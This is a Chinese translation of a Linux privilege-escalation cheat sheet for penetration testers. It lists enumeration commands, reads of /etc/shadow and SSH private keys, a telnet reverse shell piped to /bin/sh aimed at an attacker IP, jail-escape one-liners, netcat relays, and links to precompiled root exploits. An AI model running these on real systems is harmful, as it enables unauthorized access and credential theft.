英文原文: Basic Linux Privilege Escalation
在开始之前,我想指出 - 我不是专家。 据我所知,在这个巨大的领域没有一个“魔法”的答案。 这只是我的发现,写出来,共享而已(是我的起点)。 下面列举的项中会出现几个不同命令,都是做同样的事,在不同的场景使用可能会有不一样的亮点。我知道有更多的东西有待探索, 这只是一个基本和粗略的指导。 并不是每个命令都适用于每个系统,因为Linux版本之间有很大的不同。 "It" will not jump off the screen - you've to hunt for that "little thing" as "the devil is in the detail".
枚举是关键。 (Linux)提权是关于: 收集 - 枚举,更多的枚举和一些更多的枚举。 处理 - 对数据进行排序,分析和确定优先级。 搜索 - 知道要搜索什么以及在哪里可以找到漏洞利用代码。 调整 - 自定义合适的漏洞利用代码。 并不是每个漏洞利用工作对于每个系统“开箱即用”。 尝试 - 准备好(大量)试验和错误。
操作系统
发布的是什么类型? 是什么版本?
cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian based cat /etc/redhat-release # Redhat based
是什么内核版本? 是64位吗?
cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz-
从环境变量中可以了解些什么?
cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set
有打印机吗?
lpstat -a
应用和服务
什么服务正在运行? 哪个服务有哪个用户权限?
ps aux ps -ef top cat /etc/services
哪些服务由root运行? 在这些服务中,哪些是脆弱的 - 这是值得一查的!
ps aux | grep root ps -ef | grep root
安装了什么应用程序? 他们是什么版本? 他们当前是否正在运行?
ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/
有没有服务设置错误配置? 是否附加任何(有漏洞)插件?
cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
有哪些作业调度?
crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
任何明文的用户名或密码?
grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
通信和网络
系统有哪些网卡? 它是否连接到另一个网络?
/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network
网络配置有哪些? 你能找到关于这个网络的哪些东西? DHCP服务器? DNS服务器? 网关?
cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname
正在与系统通信的用户和主机有哪些?
lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w
缓存了什么? IP或MAC地址
arp -e route /sbin/route -nee
是否可能进行数据包嗅探? 可以看到什么? 监听实时流量
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
你能拿到shell吗? 你可以与系统交互吗?
nc -lvp 4444 # Attacker. Input (Commands) nc -lvp 4445 # Attacker. Ouput (Results) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
端口转发是否可能? 跟另一个视图的流量进行重定向和交互
Note: http://www.boutell.com/rinetd/
Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip
Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
隧道是否可能? 在本地,远程发送命令
ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig
机密信息和用户
你是谁? 谁登录了? 谁已经登录了? 还有谁在那里? 谁能做什么?
id who w last cat /etc/passwd | cut -d: -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l
可以找到哪些敏感文件?
cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/
在home目录中有什么"有趣"东西? 可以访问吗?
ls -ahlR /root/ ls -ahlR /home/
有没有密码,脚本,数据库,配置文件或日志文件? 密码的默认路径和位置
cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg
用户在做什么? 是否有明文密码? 他们正在编辑什么?
cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history
可以找到哪些用户信息?
cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root
可以找到私钥信息吗?
cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key
文件系统
哪些配置文件可以写在/etc/? 能够重新配置服务吗?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/var/目录下能找到什么?
ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases
任何设置/文件(隐藏)在网站上? 任何具有数据库信息的设置文件?
ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/
日志文件中有什么(有助于"本地文件包含"!)
cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/
如果命令有限,你脱离"jail" shell?
python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i
文件系统是如何挂载的?
mount df -h
是否有任何未挂载的文件系统?
cat /etc/fstab
使用了哪些"高级Linux文件权限"? 粘滞位,SUID&GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null
在哪里可以写和执行? 一些常见的地方:/tmp,/var/tmp,/dev/shm
find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / ( -perm -o w -perm -o x ) -type d 2>/dev/null # world-writeable & executable folders
有没有任何"问题"文件? Word-writeable, "nobody" files
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
准备和寻找漏洞代码
安装/支持什么开发工具/语言?
find / -name perl* find / -name python* find / -name gcc* find / -name cc
如何上传文件?
find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp
Finding exploit code
http://metasploit.com/modules/
http://seclists.org/fulldisclosure/
Finding more information regarding the exploit
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]
(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/